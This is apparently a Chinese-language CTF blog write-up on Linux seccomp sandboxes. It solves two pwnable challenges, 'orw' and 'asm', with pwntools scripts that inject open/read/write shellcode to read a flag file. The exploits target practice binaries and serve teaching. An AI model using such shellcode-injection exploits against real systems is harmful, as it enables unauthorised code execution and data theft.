pwn 之 沙箱機制

tolele發表於2022-04-25

0x00: 簡介

       沙箱機制,英文sandbox,是計算機領域的虛擬技術,常見於安全方向。一般說來,我們會將不受信任的軟體放在沙箱中執行,一旦該軟體有惡意行為,則禁止該程式的進一步執行,不會對真實系統造成任何危害。

        安全計算模式seccompSecure Computing Mode)在Linux2.6.10之後引入到kernel的特性,可用其實現一個沙箱環境。使用seccomp模式可以定義系統呼叫白名單和黑名單。seccomp機制用於限制應用程式可以使用的系統呼叫,增加系統的安全性。

ctf中主要通過兩種方式實現沙箱機制:

  • prctl系統呼叫;
  • seccomp庫函式;

 

0x01: 函式限制檢測工具seccomp-tools

安裝:

sudo apt install gcc ruby-dev

sudo gem install seccomp-tools

 使用:

 

 

0x02: 例題實踐

Pwnable_orw:

通過checksec可以看出其架構,遠端的也是這個。

如果使用shellcraftasm模組,要配置相對應的架構,可以通過context.binary = "./xxx"自動地完成配置。

 

 

seccomp-tools dump ./orw檢查受限函式:

允許的函式主要有openreadwrite系統呼叫函式,用這個函式讀取flag

 

 

 

32位的IDA開啟進行分析:

沒有資料段不可執行保護,所以直接往bss裡面寫shellcode就可以了。通過shellcode寫入後,後面第6行就進行執行了。

 

Exp:
from pwn import *
context.log_level = "debug"
context.binary = "./orw"

io = process("./orw")
#io = remote("node4.buuoj.cn",27178)
bss = 0x804A060

payload = shellcraft.open("flag")
payload += shellcraft.read(3,bss + 100, 100)
payload += shellcraft.write(1,bss + 100, 100)
io.recvuntil(
"Give my your shellcode:") io.sendline(asm(payload)) print(io.recv())

 

Pwnable_asm:

先用checksec工具檢查架構和其保護機制,然後使用seccomp-tools工具檢查受限制函式(這步是在開啟IDA後,看到sandbox函式後進行的)。

 

 

從圖可以看出,僅被允許的系統呼叫有:read()write()open()exit()。(這個在IDA的註釋裡面也有說明~

 

64IDA開啟分析程式:

 

 

函式分析:

  • 12行用mmap對映了一段0x1000B大小的匿名空間,起始地址為s = 0x41414000
  • 13行將開闢的空間用144進行初始化,144是啥?0x90。根據註釋說是用shellcode解法,應該是製作了nop滑梯。
  • 15行將stub陣列賦給了匿名空間前段,stud是啥?由於ida中該陣列的值顯示有點零散,所以我就在pwnable網站檢視了原始碼:stud[46] = "\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\x48",反彙編:(其實就是清空暫存器,好像不影響寫入shellcode
  • 17行接著向後面輸入資料,關鍵點:寫入我們想要shellcode進行執行。
  • 19chroot(directory):將該程式的根目錄改為directory。可以防止我們找不到遠端中的路徑,我們直接open("./flag")就行。
  • 20sandbox開沙箱機制嘛~
  • 21行應該是ida分析有誤,原始碼是沒有引數的:((void (*)(void))s)();就是從s那裡開始執行。

 

分析完程式,已經很明顯了,和上一題一樣。通過17行寫入shellcode,然後21行會進行執行。

Exp:

from pwn import *
context.log_level = 'debug'
context.binary = './asm'

#io = process("./asm")
io = remote("node4.buuoj.cn",26533)

addr = 0x41414000 + 0x100
payload = shellcraft.open("flag")
payload += shellcraft.read(3, addr, 0x30)
payload += shellcraft.write(1,addr, 0x30)

io.recvuntil("give me your x64 shellcode: ")
io.sendline(asm(payload))
print(io.recv())

 

0x03: 最後

初步接觸,有些地方沒思考得太透。所以,有疑惑的朋友可以在評論區提出,互相交流學習。


 

tolele

2022-04-25

 

相關文章